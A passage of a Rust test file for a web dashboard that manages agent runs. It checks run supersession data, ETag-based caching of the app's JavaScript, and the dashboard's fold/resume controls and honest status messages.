6442 let rows = fx.get("/api/runs").await.json();
6446 let by = |short: &str| -> Value {
6447 rows.as_array()
6448 .unwrap()
6449 .iter()
6450 .find(|r| r["short"] == short)
6451 .cloned()
6452 .unwrap_or(Value::Null)
6453 };
6454 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
6455 assert!(
6456 by("bbbb")["superseded_by"].is_null(),
6457 "the latest attempt is not superseded by anything"
6458 );
6459 assert!(APP_JS.contains("run.superseded_by"));
6461 assert!(APP_JS.contains("Superseded by"));
6462 }
6463
6464 #[tokio::test]
6465 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
6466 let fx = Fixture::start().await;
6467 let js = fx.get("/app.js").await;
6473 assert_eq!(js.status, 200);
6474 let tag = js
6475 .header("etag")
6476 .expect("an etag to revalidate against")
6477 .to_owned();
6478 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
6479 assert_eq!(
6480 js.header("cache-control"),
6481 Some("no-cache, must-revalidate"),
6482 "the phone has to ask every time"
6483 );
6484
6485 let again = fx
6488 .get_with("/app.js", &[("if-none-match", tag.as_str())])
6489 .await;
6490 assert_eq!(
6491 again.status, 304,
6492 "a deck it already has costs one round trip"
6493 );
6494 assert!(again.body.is_empty(), "304 carries no body");
6495
6496 let weak = fx
6499 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
6500 .await;
6501 assert_eq!(weak.status, 304);
6502 let stale = fx
6503 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
6504 .await;
6505 assert_eq!(stale.status, 200, "an older build must be replaced");
6506 assert!(stale.body.contains("renderRunActions"));
6507 }
6508
6509 #[test]
6510 fn the_deck_never_sends_the_operator_to_a_terminal() {
6511 assert!(
6514 !APP_JS.contains("Run `magi fold` first"),
6515 "the deck must offer the fold, not prescribe a shell command"
6516 );
6517 assert!(APP_JS.contains("foldRun:"));
6518 assert!(APP_JS.contains("resumeRun:"));
6519 assert!(APP_JS.contains("renderRunActions"));
6520
6521 assert!(APP_JS.contains("armedFold"));
6523 assert!(APP_JS.contains("Yes, fold worktrees"));
6524
6525 assert!(APP_JS.contains("can no longer be resumed"));
6528 }
6529
6530 #[test]
6531 fn a_finished_run_explains_itself_with_its_own_last_line() {
6532 assert!(
6538 !APP_JS.contains("collapsed on agent quota"),
6539 "a stall must not be explained by a cause the deck did not check"
6540 );
6541 assert!(
6542 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
6543 "and a block must not offer a guess with an `or` in it"
6544 );
6545
6546 assert!(
6550 APP_JS.contains("setText(r.event, run.event || \"\")"),
6551 "the run's last line is rendered unconditionally"
6552 );
6553 assert!(
6554 !APP_JS.contains("moving && run.event"),
6555 "and never gated on the run still moving"
6556 );
6557
6558 assert!(APP_JS.contains("lost to quota"));
6560 }
6561}